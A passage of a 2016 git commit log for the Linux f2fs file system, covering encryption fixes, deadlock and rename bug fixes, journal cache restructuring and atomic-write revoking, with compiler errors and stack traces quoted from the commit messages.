Signed-off-by: Jaegeuk Kim commit f6c171e2e368d7bd37826ca7ffdbd82e9e230bbd Author: Jaegeuk Kim Date: Wed Mar 30 13:13:16 2016 -0700 f2fs crypto: fix corrupted symlink in encrypted case In the encrypted symlink case, we should check its corrupted symname after decrypting it. Otherwise, we can report -ENOENT incorrectly, if encrypted symname starts with '\0'. Cc: stable 4.5+ Signed-off-by: Jaegeuk Kim commit e9fc88d8748af117869acb27501a3ee1b420d400 Author: Jaegeuk Kim Date: Sun Mar 20 15:33:20 2016 -0700 f2fs: cover large section in sanity check of super This patch fixes the bug which does not cover a large section case when checking the sanity of superblock. If f2fs detects misalignment, it will fix the superblock during the mount time, so it doesn't need to trigger fsck.f2fs further. Reported-by: Matthias Prager Reported-by: David Gnedt Cc: stable 4.5+ Signed-off-by: Jaegeuk Kim commit 12c8879fc7d0796345a7fc86f178535fff33edc3 Author: Linus Torvalds Date: Sat Mar 26 10:13:05 2016 -0700 f2fs/crypto: fix xts_tweak initialization Commit 0b81d07790726 ("fs crypto: move per-file encryption from f2fs tree to fs/crypto") moved the f2fs crypto files to fs/crypto/ and renamed the symbol prefixes from "f2fs_" to "fscrypt_" (and from "F2FS_" to just "FS" for preprocessor symbols). Because of the symbol renaming, it's a bit hard to see it as a file move: use git show -M30 0b81d07790726 to lower the rename detection to just 30% similarity and make git show the files as renamed (the header file won't be shown as a rename even then - since all it contains is symbol definitions, it looks almost completely different). Even with the renames showing as renames, the diffs are not all that easy to read, since so much is just the renames. But Eric Biggers noticed that it's not just all renames: the initialization of the xts_tweak had been broken too, using the inode number rather than the page offset. That's not right - it makes the xfs_tweak the same for all pages of each inode. It _might_ make sense to make the xfs_tweak contain both the offset _and_ the inode number, but not just the inode number. Reported-by: Eric Biggers Cc: Jaegeuk Kim Signed-off-by: Linus Torvalds commit 4dad77d768b4384ab37bfb39f6f1f9c93ef6abfb Author: Jaegeuk Kim Date: Fri Mar 11 15:33:22 2016 -0800 f2fs: submit node page write bios when really required If many threads calls fsync with data writes, we don't need to flush every bios having node page writes. The f2fs_wait_on_page_writeback will flush its bios when the page is really needed. Signed-off-by: Jaegeuk Kim commit 6cef4dfb0c7844737caa54087c861a2ac6513068 Author: Arnd Bergmann Date: Tue Mar 15 00:07:56 2016 +0100 f2fs: add missing argument to f2fs_setxattr stub The f2fs_setxattr() prototype for CONFIG_F2FS_FS_XATTR=n has been wrong for a long time, since 8ae8f1627f39 ("f2fs: support xattr security labels"), but there have never been any callers, so it did not matter. Now, the function gets called from f2fs_ioc_keyctl(), which causes a build failure: fs/f2fs/file.c: In function 'f2fs_ioc_keyctl': include/linux/stddef.h:7:14: error: passing argument 6 of 'f2fs_setxattr' makes integer from pointer without a cast [-Werror=int-conversion] #define NULL ((void *)0) ^ fs/f2fs/file.c:1599:27: note: in expansion of macro 'NULL' value, F2FS_KEY_SIZE, NULL, type); ^ In file included from ../fs/f2fs/file.c:29:0: fs/f2fs/xattr.h:129:19: note: expected 'int' but argument is of type 'void *' static inline int f2fs_setxattr(struct inode *inode, int index, ^ fs/f2fs/file.c:1597:9: error: too many arguments to function 'f2fs_setxattr' return f2fs_setxattr(inode, F2FS_XATTR_INDEX_KEY, ^ In file included from ../fs/f2fs/file.c:29:0: fs/f2fs/xattr.h:129:19: note: declared here static inline int f2fs_setxattr(struct inode *inode, int index, Thsi changes the prototype of the empty stub function to match that of the actual implementation. This will not make the key management work when F2FS_FS_XATTR is disabled, but it gets it to build at least. Signed-off-by: Arnd Bergmann Signed-off-by: Jaegeuk Kim commit e5ea75b64edd69ba8a01132166ee966b7765f74f Author: Chao Yu Date: Thu Mar 10 22:24:23 2016 +0800 f2fs: fix to avoid unneeded unlock_new_inode During ->lookup, I_NEW state of inode was been cleared in f2fs_iget, so in error path, we don't need to clear it again. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 56b71c06373be918d899b1517e7c018e6b8a08f2 Author: Chao Yu Date: Wed Mar 9 22:07:28 2016 +0800 f2fs: clean up opened code with f2fs_update_dentry Just clean up opened code with existing function, no logic change. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 4a7e032dea75b3713322558bb2240636340b451c Author: Jaegeuk Kim Date: Tue Mar 8 09:04:35 2016 -0800 f2fs: declare static functions Just to avoid sparse warnings. Signed-off-by: Jaegeuk Kim commit d246a88c15467a5a1be229b5ebdb5de404d6eeba Author: Keith Mok Date: Wed Mar 2 12:04:24 2016 -0800 f2fs: use cryptoapi crc32 functions The crc function is done bit by bit. Optimize this by use cryptoapi crc32 function which is backed by h/w acceleration. Signed-off-by: Keith Mok Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/f2fs.h commit 0a1dbb587323f21841d37b0132e15ef2d9b7fcbf Author: Fan Li Date: Mon Feb 29 14:29:51 2016 +0800 f2fs: modify the readahead method in ra_node_page() ra_node_page() is used to read ahead one node page. Comparing to regular read, it's faster because it doesn't wait for IO completion. But if it is called twice for reading the same block, and the IO request from the first call hasn't been completed before the second call, the second call will have to wait until the read is over. Here use the code in __do_page_cache_readahead() to solve this problem. It does nothing when someone else already puts the page in mapping. The status of page should be assured by whoever puts it there. This implement also prevents alteration of page reference count. Signed-off-by: Fan li Signed-off-by: Jaegeuk Kim commit c16baaaa76b823e3ba9f0a1107ad49fb6d09b220 Author: Jaegeuk Kim Date: Tue Feb 23 09:21:37 2016 -0800 f2fs crypto: sync ext4_lookup and ext4_file_open This patch tries to catch up with lookup and open policies in ext4. Signed-off-by: Jaegeuk Kim commit 34eb3a8ebe219a5900ae569c3ab9d4662df12cc9 Author: Jaegeuk Kim Date: Mon Mar 28 11:33:05 2016 -0700 f2fs: define not-set fallocate flags This fixes building bugs in aosp. Signed-off-by: Jaegeuk Kim commit 6050a68f6b7346c37f4a2293bb291c7a79e0fc93 Author: Jaegeuk Kim Date: Fri May 15 16:26:10 2015 -0700 fs crypto: move per-file encryption from f2fs tree to fs/crypto This patch adds the renamed functions moved from the f2fs crypto files. [Backporting to 3.10] - Removed d_is_negative() in fscrypt_d_revalidate(). 1. definitions for per-file encryption used by ext4 and f2fs. 2. crypto.c for encrypt/decrypt functions a. IO preparation: - fscrypt_get_ctx / fscrypt_release_ctx b. before IOs: - fscrypt_encrypt_page - fscrypt_decrypt_page - fscrypt_zeroout_range c. after IOs: - fscrypt_decrypt_bio_pages - fscrypt_pullback_bio_page - fscrypt_restore_control_page 3. policy.c supporting context management. a. For ioctls: - fscrypt_process_policy - fscrypt_get_policy b. For context permission - fscrypt_has_permitted_context - fscrypt_inherit_context 4. keyinfo.c to handle permissions - fscrypt_get_encryption_info - fscrypt_free_encryption_info 5. fname.c to support filename encryption a. general wrapper functions - fscrypt_fname_disk_to_usr - fscrypt_fname_usr_to_disk - fscrypt_setup_filename - fscrypt_free_filename b. specific filename handling functions - fscrypt_fname_alloc_buffer - fscrypt_fname_free_buffer 6. Makefile and Kconfig Cc: Al Viro Signed-off-by: Michael Halcrow Signed-off-by: Ildar Muslukhov Signed-off-by: Uday Savagaonkar Signed-off-by: Theodore Ts'o Signed-off-by: Arnd Bergmann Signed-off-by: Jaegeuk Kim commit 480c05cb1088489d53516e8e84365f30386c9f44 Author: Yang Shi Date: Fri Feb 26 16:25:25 2016 -0800 f2fs: mutex can't be used by down_write_nest_lock() f2fs_lock_all() calls down_write_nest_lock() to acquire a rw_sem and check a mutex, but down_write_nest_lock() is designed for two rw_sem accoring to the comment in include/linux/rwsem.h. And, other than f2fs, it is just called in mm/mmap.c with two rwsem. So, it looks it is used wrongly by f2fs. And, it causes the below compile warning on -rt kernel too. In file included from fs/f2fs/xattr.c:25:0: fs/f2fs/f2fs.h: In function 'f2fs_lock_all': fs/f2fs/f2fs.h:962:34: warning: passing argument 2 of 'down_write_nest_lock' from incompatible pointer type [-Wincompatible-pointer-types] f2fs_down_write(&sbi->cp_rwsem, &sbi->cp_mutex); ^ fs/f2fs/f2fs.h:27:55: note: in definition of macro 'f2fs_down_write' #define f2fs_down_write(x, y) down_write_nest_lock(x, y) ^ In file included from include/linux/rwsem.h:22:0, from fs/f2fs/xattr.c:21: include/linux/rwsem_rt.h:138:20: note: expected 'struct rw_semaphore *' but argument is of type 'struct mutex *' static inline void down_write_nest_lock(struct rw_semaphore *sem, Signed-off-by: Yang Shi Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 24f8fb6334fc3984b24d8d348d0538489ef479df Author: Liu Xue Date: Fri Feb 26 06:39:23 2016 +0000 f2fs: recovery missing dot dentries in root directory If f2fs was corrupted with missing dot dentries in root dirctory, it needs to recover them after fsck.f2fs set F2FS_INLINE_DOTS flag in directory inode when fsck.f2fs detects missing dot dentries. Signed-off-by: Xue Liu Signed-off-by: Yong Sheng Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit fecba49c83f8b1b671e710f4d7f4084e74768988 Author: Chao Yu Date: Fri Feb 26 09:33:04 2016 +0800 f2fs: fix to avoid deadlock when merging inline data When testing with fsstress, kworker and user threads were both blocked: INFO: task kworker/u16:1:16580 blocked for more than 120 seconds. "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. kworker/u16:1 D ffff8803f2595390 0 16580 2 0x00000000 Workqueue: writeback bdi_writeback_workfn (flush-251:0) ffff8802730e5760 0000000000000046 ffff880274729fc0 0000000000012440 ffff8802730e5fd8 ffff8802730e4010 0000000000012440 0000000000012440 ffff8802730e5fd8 0000000000012440 ffff880274729fc0 ffff88026eb50000 Call Trace: [] schedule+0x29/0x70 [] rwsem_down_read_failed+0xa5/0xf9 [] call_rwsem_down_read_failed+0x14/0x30 [] f2fs_write_data_page+0x31b/0x420 [f2fs] [] __f2fs_writepage+0x1a/0x50 [f2fs] [] f2fs_write_data_pages+0xe0/0x290 [f2fs] [] do_writepages+0x23/0x40 [] __writeback_single_inode+0x4e/0x250 [] writeback_sb_inodes+0x2c1/0x470 [] __writeback_inodes_wb+0x9e/0xd0 [] wb_writeback+0x1fb/0x2d0 [] wb_do_writeback+0x9c/0x220 [] bdi_writeback_workfn+0x72/0x1c0 [] process_one_work+0x1de/0x5b0 [] worker_thread+0x11f/0x3e0 [] kthread+0xde/0xf0 [] ret_from_fork+0x58/0x90 fsstress thread stack: [] sleep_on_page+0xe/0x20 [] __lock_page+0x67/0x70 [] find_lock_page+0x50/0x80 [] find_or_create_page+0x3f/0xb0 [] sync_node_pages+0x259/0x810 [f2fs] [] write_checkpoint+0x1a4/0xce0 [f2fs] [] f2fs_sync_fs+0x7c/0xd0 [f2fs] [] f2fs_sync_file+0x143/0x5f0 [f2fs] [] vfs_fsync_range+0x2b/0x40 [] vfs_fsync+0x1c/0x20 [] do_fsync+0x41/0x70 [] SyS_fdatasync+0x13/0x20 [] system_call_fastpath+0x16/0x1b [] 0xffffffffffffffff The reason of this issue is: CPU0: CPU1: - f2fs_write_data_pages - f2fs_sync_fs - write_checkpoint - block_operations - f2fs_lock_all - down_write(sbi->cp_rwsem) - lock_page(page) - f2fs_write_data_page - sync_node_pages - flush_inline_data - pagecache_get_page(page, GFP_LOCK) - f2fs_lock_op - down_read(sbi->cp_rwsem) This patch alters to use trylock_page in flush_inline_data to fix this ABBA deadlock issue. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 6a19664c1751a2e447bd5a13f0640177662265d3 Author: Chao Yu Date: Wed Feb 24 17:17:55 2016 +0800 f2fs: introduce f2fs_flush_merged_bios for cleanup Add a new helper f2fs_flush_merged_bios to clean up redundant codes. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit f590c097f29216cbb6b205f6b4de843a4a1a1f9e Author: Chao Yu Date: Wed Feb 24 17:16:47 2016 +0800 f2fs: introduce f2fs_update_data_blkaddr for cleanup Add a new help f2fs_update_data_blkaddr to clean up redundant codes. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 7193a4ee7ed38986820a6d6476be6a43fa8b0cc8 Author: Chao Yu Date: Tue Feb 23 17:52:43 2016 +0800 f2fs crypto: fix incorrect positioning for GCing encrypted data page For now, flow of GCing an encrypted data page: 1) try to grab meta page in meta inode's mapping with index of old block address of that data page 2) load data of ciphertext into meta page 3) allocate new block address 4) write the meta page into new block address 5) update block address pointer in direct node page. Other reader/writer will use f2fs_wait_on_encrypted_page_writeback to check and wait on GCed encrypted data cached in meta page writebacked in order to avoid inconsistence among data page cache, meta page cache and data on-disk when updating. However, we will use new block address updated in step 5) as an index to lookup meta page in inner bio buffer. That would be wrong, and we will never find the GCing meta page, since we use the old block address as index of that page in step 1). This patch fixes the issue by adjust the order of step 1) and step 3), and in step 1) grab page with index generated in step 3). Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/gc.c commit 7520060ef45e106dae50be057e5dea21f0d98509 Author: Chao Yu Date: Wed Feb 24 17:20:44 2016 +0800 f2fs: fix incorrect upper bound when iterating inode mapping tree 1. Inode mapping tree can index page in range of [0, ULONG_MAX], however, in some places, f2fs only search or iterate page in ragne of [0, LONG_MAX], result in miss hitting in page cache. 2. filemap_fdatawait_range accepts range parameters in unit of bytes, so the max range it covers should be [0, LLONG_MAX], if we use [0, LONG_MAX] as range for waiting on writeback, big number of pages will not be covered. This patch corrects above two issues. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 311a3bf582451d69ac72872aee084d8f6bfaf868 Author: Yunlei He Date: Tue Feb 23 12:07:56 2016 +0800 f2fs: avoid hungtask problem caused by losing wake_up The D state of wait_on_all_pages_writeback should be waken by function f2fs_write_end_io when all writeback pages have been succesfully written to device. It's possible that wake_up comes between get_pages and io_schedule. Maybe in this case it will lost wake_up and still in D state even if all pages have been write back to device, and finally, the whole system will be into the hungtask state. if (!get_pages(sbi, F2FS_WRITEBACK)) break; <--------- wake_up io_schedule(); Signed-off-by: Yunlei He Signed-off-by: Biao He Signed-off-by: Jaegeuk Kim commit 0140e4e64ad56703938543b0297a30790e8fc50f Author: Chao Yu Date: Mon Feb 22 18:36:38 2016 +0800 f2fs: trace old block address for CoWed page This patch enables to trace old block address of CoWed page for better debugging. f2fs_submit_page_mbio: dev = (1,0), ino = 1, page_index = 0x1d4f0, oldaddr = 0xfe8ab, newaddr = 0xfee90 rw = WRITE_SYNC, type = NODE f2fs_submit_page_mbio: dev = (1,0), ino = 1, page_index = 0x1d4f8, oldaddr = 0xfe8b0, newaddr = 0xfee91 rw = WRITE_SYNC, type = NODE f2fs_submit_page_mbio: dev = (1,0), ino = 1, page_index = 0x1d4fa, oldaddr = 0xfe8ae, newaddr = 0xfee92 rw = WRITE_SYNC, type = NODE f2fs_submit_page_mbio: dev = (1,0), ino = 134824, page_index = 0x96, oldaddr = 0xf049b, newaddr = 0x2bbe rw = WRITE, type = DATA f2fs_submit_page_mbio: dev = (1,0), ino = 134824, page_index = 0x97, oldaddr = 0xf049c, newaddr = 0x2bbf rw = WRITE, type = DATA f2fs_submit_page_mbio: dev = (1,0), ino = 134824, page_index = 0x98, oldaddr = 0xf049d, newaddr = 0x2bc0 rw = WRITE, type = DATA f2fs_submit_page_mbio: dev = (1,0), ino = 135260, page_index = 0x47, oldaddr = 0xffffffff, newaddr = 0xf2631 rw = WRITE, type = DATA f2fs_submit_page_mbio: dev = (1,0), ino = 135260, page_index = 0x48, oldaddr = 0xffffffff, newaddr = 0xf2632 rw = WRITE, type = DATA f2fs_submit_page_mbio: dev = (1,0), ino = 135260, page_index = 0x49, oldaddr = 0xffffffff, newaddr = 0xf2633 rw = WRITE, type = DATA Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit daeab04c27f0927e39280459537028288e7d39b1 Author: Chao Yu Date: Mon Feb 22 18:35:46 2016 +0800 f2fs: try to flush inode after merging inline data When flushing node pages, if current node page is an inline inode page, we will try to merge inline data from data page into inline inode page, then skip flushing current node page, it will decrease the number of nodes to be flushed in batch in this round, which may lead to worse performance. This patch gives a chance to flush just merged inline inode pages for performance. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 1c77b20c245b9137f61c70b15522d2ab4ec82f3b Author: Chao Yu Date: Mon Feb 22 18:33:20 2016 +0800 f2fs: show more info about superblock recovery This patch changes to show more info in message log about the recovery of the corrupted superblock during ->mount, e.g. the index of corrupted superblock and the result of recovery. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit f9f8fb3d4fdc5fa99fb7fa7f543f688e4dc92e8e Author: Chao Yu Date: Mon Feb 22 18:32:13 2016 +0800 f2fs: fix the wrong stat count of calling gc With a partition which was formated as multi segments in one section, we stated incorrectly for count of gc operation. e.g., for a partition with segs_per_sec = 4 cat /sys/kernel/debug/f2fs/status GC calls: 208 (BG: 7) - data segments : 104 (52) - node segments : 104 (24) GC called count should be (104 (data segs) + 104 (node segs)) / 4 = 52, rather than 208. Fix it. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 70f3ffe0be25bd85ff91a9365397a5abe2c12cef Author: Jaegeuk Kim Date: Thu Feb 18 16:34:38 2016 -0800 f2fs: remain last victim segment number ascending order This patch avoids to remain inefficient victim segment number selected by a victim. For example, if all the dirty segments has same valid blocks, we can get the victim segments descending order due to keeping wrong last segment number. Signed-off-by: Jaegeuk Kim commit fc4f068587b05f994fb9cd5ee79ae58ebb21e679 Author: Shawn Lin Date: Fri Feb 19 16:02:51 2016 +0800 f2fs: reuse read_inline_data for f2fs_convert_inline_page f2fs_convert_inline_page introduce what read_inline_data already does for copying out the inline data from inode_page. We can use read_inline_data instead to simplify the code. Signed-off-by: Shawn Lin Signed-off-by: Jaegeuk Kim commit ee0b85a051c707f1eef446223caad5399a0d82ed Author: Chao Yu Date: Wed Feb 17 16:47:05 2016 +0800 f2fs: fix to delete old dirent in converted inline directory in ->rename When doing test with fstests/generic/068 in inline_dentry enabled f2fs, following oops dmesg will be reported: ------------[ cut here ]------------ WARNING: CPU: 5 PID: 11841 at fs/inode.c:273 drop_nlink+0x49/0x50() Modules linked in: f2fs(O) ip6table_filter ip6_tables ebtable_nat ebtables nf_conntrack_ipv4 nf_defrag_ipv4 xt_state CPU: 5 PID: 11841 Comm: fsstress Tainted: G O 4.5.0-rc1 #45 Hardware name: Hewlett-Packard HP Z220 CMT Workstation/1790, BIOS K51 v01.61 05/16/2013 0000000000000111 ffff88009cdf7ae8 ffffffff813e5944 0000000000002e41 0000000000000000 0000000000000111 0000000000000000 ffff88009cdf7b28 ffffffff8106a587 ffff88009cdf7b58 ffff8804078fe180 ffff880374a64e00 Call Trace: [] dump_stack+0x48/0x64 [] warn_slowpath_common+0x97/0xe0 [] warn_slowpath_null+0x1a/0x20 [] drop_nlink+0x49/0x50 [] f2fs_rename2+0xe04/0x10c0 [f2fs] [] ? lock_two_nondirectories+0x81/0x90 [] ? lockref_get+0x1d/0x30 [] vfs_rename+0x2e0/0x640 [] ? lookup_dcache+0x3b/0xd0 [] ? update_fast_ctr+0x21/0x40 [] ? security_path_rename+0xa2/0xd0 [] SYSC_renameat2+0x4b6/0x540 [] ? trace_hardirqs_off+0xd/0x10 [] ? exit_to_usermode_loop+0x7a/0xd0 [] ? int_ret_from_sys_call+0x52/0x9f [] ? trace_hardirqs_on_caller+0x100/0x1c0 [] SyS_renameat2+0xe/0x10 [] SyS_rename+0x1e/0x20 [] entry_SYSCALL_64_fastpath+0x12/0x6f ---[ end trace 2b31e17995404e42 ]--- This is because: in the same inline directory, when we renaming one file from source name to target name which is not existed, once space of inline dentry is not enough, inline conversion will be triggered, after that all data in inline dentry will be moved to normal dentry page. After attaching the new entry in coverted dentry page, still we try to remove old entry in original inline dentry, since old entry has been moved, so it obviously doesn't make any effect, result in remaining old entry in converted dentry page. Now, we have two valid dentries pointed to the same inode which has nlink value of 1, deleting them both, above warning appears. This issue can be reproduced easily as below steps: 1. mount f2fs with inline_dentry option 2. mkdir dir 3. touch 180 files named [001-180] in dir 4. rename dir/180 dir/181 5. rm dir/180 dir/181 Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 41ac909d6fadf467ec8890dbdfa8914627d7d246 Author: Chao Yu Date: Wed Feb 17 16:45:44 2016 +0800 f2fs: detect error of update_dent_inode in ->rename Should check and show correct return value of update_dent_inode in ->rename. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 1e910859223ed86f3537ba098eeb3aefaa932fac Author: Shawn Lin Date: Wed Feb 17 11:26:32 2016 +0800 f2fs: move sanity checking of cp into get_valid_checkpoint >From the function name of get_valid_checkpoint, it seems to return the valid cp or NULL for caller to check. If no valid one is found, f2fs_fill_super will print the err log. But if get_valid_checkpoint get one valid(the return value indicate that it's valid, however actually it is invalid after sanity checking), then print another similar err log. That seems strange. Let's keep sanity checking inside the procedure of geting valid cp. Another improvement we gained from this move is that even the large volume is supported, we check the cp in advanced to skip the following procedure if failing the sanity checking. Signed-off-by: Shawn Lin Signed-off-by: Jaegeuk Kim commit f9a40d59b2fe94fb9ef4433c6ea80ed1242be727 Author: Shawn Lin Date: Wed Feb 17 08:59:01 2016 +0800 f2fs: slightly reorganize read_raw_super_block read_raw_super_block was introduced to help find the first valid superblock. Commit da554e48caab ("f2fs: recovering broken superblock during mount") changed the behaviour to read both of them and check whether need the recovery flag or not. So the comment before this function isn't consistent with what it actually does. Also, the origin code use two tags to round the err cases, which isn't so readable. So this patch amend the comment and slightly reorganize it. Signed-off-by: Shawn Lin Signed-off-by: Jaegeuk Kim commit 4ce89e48564fdf0c0b5d49c3e8bd8043d80cace7 Author: Chao Yu Date: Fri Feb 19 18:12:28 2016 +0800 f2fs: reorder nat cache lock in cache_nat_entry When lookuping nat entry in cache_nat_entry, if we fail to hit nat cache, we try to load nat entries a) from journal of current segment cache or b) from NAT pages for updating, during the process, write lock of nat_tree_lock will be held to avoid inconsistent condition in between nid cache and nat cache caused by racing among nat entry shrinker, checkpointer, nat entry updater. But this way may cause low efficient when updating nat cache, because it serializes accessing in journal cache or reading NAT pages. Here, we reorder lock and update flow as below to enhance accessing concurrency: - get_node_info - down_read(nat_tree_lock) - lookup nat cache --- hit -> unlock & return - lookup journal cache --- hit -> unlock & goto update - up_read(nat_tree_lock) update: - down_write(nat_tree_lock) - cache_nat_entry - lookup nat cache --- nohit -> update - up_write(nat_tree_lock) Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 60478f3617ee34a329689445f282b622392cade4 Author: Chao Yu Date: Fri Feb 19 18:08:46 2016 +0800 f2fs: split journal cache from curseg cache In curseg cache, f2fs caches two different parts: - datas of current summay block, i.e. summary entries, footer info. - journal info, i.e. sparse nat/sit entries or io stat info. With this approach, 1) it may cause higher lock contention when we access or update both of the parts of cache since we use the same mutex lock curseg_mutex to protect the cache. 2) current summary block with last journal info will be writebacked into device as a normal summary block when flushing, however, we treat journal info as valid one only in current summary, so most normal summary blocks contain junk journal data, it wastes remaining space of summary block. So, in order to fix above issues, we split curseg cache into two parts: a) current summary block, protected by original mutex lock curseg_mutex b) journal cache, protected by newly introduced r/w semaphore journal_rwsem When loading curseg cache during ->mount, we store summary info and journal info into different caches; When doing checkpoint, we combine datas of two cache into current summary block for persisting. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit e266fc62961940c5159e529da789306581a1cb88 Author: Chao Yu Date: Sun Feb 14 18:54:33 2016 +0800 f2fs: enhance IO path with block plug Try to use block plug in more place as below to let process cache bios as much as possbile, in order to reduce lock overhead of queue in IO scheduler. 1) sync_meta_pages 2) ra_meta_pages 3) f2fs_balance_fs_bg Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit c5a76c1ce1a7c5a3c808e7f1c4dc94cb55902d11 Author: Chao Yu Date: Sun Feb 14 18:50:40 2016 +0800 f2fs: introduce f2fs_journal struct to wrap journal info Introduce a new structure f2fs_journal to wrap journal info in struct f2fs_summary_block for readability. struct f2fs_journal { union { __le16 n_nats; __le16 n_sits; }; union { struct nat_journal nat_j; struct sit_journal sit_j; struct f2fs_extra_info info; }; } __packed; struct f2fs_summary_block { struct f2fs_summary entries[ENTRIES_IN_SUM]; struct f2fs_journal journal; struct summary_footer footer; } __packed; Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 7022e63fd64dbb519a7bbdf3ecc875491e10c05a Author: Chao Yu Date: Mon Feb 15 17:54:26 2016 +0800 f2fs crypto: avoid unneeded memory allocation when {en/de}crypting symlink This patch adopts f2fs with codes of ext4, it removes unneeded memory allocation in creating/accessing path of symlink. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit bccda16e1f348745307f8282e6dcb20dfb95cf19 Author: Chao Yu Date: Sun Feb 14 18:58:35 2016 +0800 f2fs crypto: handle unexpected lack of encryption keys This patch syncs f2fs with commit abdd438b26b4 ("ext4 crypto: handle unexpected lack of encryption keys") from ext4. Fix up attempts by users to try to write to a file when they don't have access to the encryption key. Signed-off-by: Theodore Ts'o Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 01f557a5e08c3363fbd311980c632378669857e7 Author: Chao Yu Date: Sun Feb 14 18:56:55 2016 +0800 f2fs crypto: make sure the encryption info is initialized on opendir(2) This patch syncs f2fs with commit 6bc445e0ff44 ("ext4 crypto: make sure the encryption info is initialized on opendir(2)") from ext4. Signed-off-by: Theodore Ts'o Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 365fdf81e0f517edff7c07a1b0203aa2597041f8 Author: Chao Yu Date: Sat Feb 6 14:40:34 2016 +0800 f2fs: support revoking atomic written pages f2fs support atomic write with following semantics: 1. open db file 2. ioctl start atomic write 3. (write db file) * n 4. ioctl commit atomic write 5. close db file With this flow we can avoid file becoming corrupted when abnormal power cut, because we hold data of transaction in referenced pages linked in inmem_pages list of inode, but without setting them dirty, so these data won't be persisted unless we commit them in step 4. But we should still hold journal db file in memory by using volatile write, because our semantics of 'atomic write support' is incomplete, in step 4, we could fail to submit all dirty data of transaction, once partial dirty data was committed in storage, then after a checkpoint & abnormal power-cut, db file will be corrupted forever. So this patch tries to improve atomic write flow by adding a revoking flow, once inner error occurs in committing, this gives another chance to try to revoke these partial submitted data of current transaction, it makes committing operation more like aotmical one. If we're not lucky, once revoking operation was failed, EAGAIN will be reported to user for suggesting doing the recovery with held journal file, or retrying current transaction again. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit f0b1519d6d07d76e8df8241cd991165b24a1de71 Author: Chao Yu Date: Sat Feb 6 14:38:29 2016 +0800 f2fs: split drop_inmem_pages from commit_inmem_pages Split drop_inmem_pages from commit_inmem_pages for code readability, and prepare for the following modification. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 1826353ce8e0670d3b37ee22a00b8f61cd1b0415 Author: Jaegeuk Kim Date: Fri Feb 12 14:29:28 2016 -0800 f2fs: avoid garbage lenghs in dentries This patch fixes to eliminate garbage name lengths in dentries in order to provide correct answers of readdir. For example, if a valid dentry consists of: bitmap : 1 1 1 1 len : 32 0 x 0, readdir can start with second bit_pos having len = 0. Or, it can start with third bit_pos having garbage. In both of cases, we should avoid to try filling dentries. So, this patch not only removes any garbage length, but also avoid entering zero length case in readdir. Signed-off-by: Jaegeuk Kim commit a56d1953e383d5cbb4ac0d83a42a48257acdf54a Author: Jaegeuk Kim Date: Wed Feb 10 13:23:16 2016 -0800 f2fs crypto: sync with ext4's fname padding This patch fixes wrong adoption on fname padding. Signed-off-by: Jaegeuk Kim commit 38f479181f1c9ec4a6fbe6a0f8083f57dd117a85 Author: Jaegeuk Kim Date: Tue Feb 9 10:24:31 2016 -0800 f2fs: use correct errno This patch is to fix misused error number. Signed-off-by: Jaegeuk Kim commit 7756b684da12827a9e3154bfcf7555081cf28fb6 Author: Jaegeuk Kim Date: Fri Feb 5 19:38:42 2016 -0800 f2fs crypto: add missing locking for keyring_key access This patch adopts: ext4 crypto: add missing locking for keyring_key access Signed-off-by: Theodore Ts'o Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/crypto_key.c commit 7bc3828647fb75a5dea8d06b98ea4718bd8fea95 Author: Jaegeuk Kim Date: Fri Feb 5 19:37:27 2016 -0800 f2fs crypto: check for too-short encrypted file names This patch adopts: ext4 crypto: check for too-short encrypted file names An encrypted file name should never be shorter than an 16 bytes, the AES block size. The 3.10 crypto layer will oops and crash the kernel if ciphertext shorter than the block size is passed to it. Fortunately, in modern kernels the crypto layer will not crash the kernel in this scenario, but nevertheless, it represents a corrupted directory, and we should detect it and mark the file system as corrupted so that e2fsck can fix this. Signed-off-by: Theodore Ts'o Signed-off-by: Jaegeuk Kim commit 51ae26e3a3dd94b9563606a4bc929efe55af06f8 Author: Jaegeuk Kim Date: Fri Feb 5 19:34:31 2016 -0800 f2fs crypto: f2fs_page_crypto() doesn't need a encryption context This patch adopts: ext4 crypto: ext4_page_crypto() doesn't need a encryption context Since ext4_page_crypto() doesn't need an encryption context (at least not any more), this allows us to simplify a number function signature and also allows us to avoid needing to allocate a context in ext4_block_write_begin(). It also means we no longer need a separate ext4_decrypt_one() function. Signed-off-by: Theodore Ts'o Signed-off-by: Jaegeuk Kim commit a22859d4678459277519606581e4c6f65ca5db2d Author: Jaegeuk Kim Date: Fri Feb 5 19:21:41 2016 -0800 f2fs crypto: fix spelling typo in comment This patch adopts: ext4 crypto: fix spelling typo in comment Signed-off-by: Laurent Navet Signed-off-by: Jaegeuk Kim commit 94cfe9090c3d02d9ef67ace91c63ada5d3faa403 Author: Jaegeuk Kim Date: Fri Feb 5 19:19:01 2016 -0800 f2fs crypto: replace some BUG_ON()'s with error checks This patch adopts: ext4 crypto: replace some BUG_ON()'s with error checks Signed-off-by: Theodore Ts'o Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/crypto_key.c commit a0f22b721af3ad5ef91da755a3a7a276752b50d6 Author: 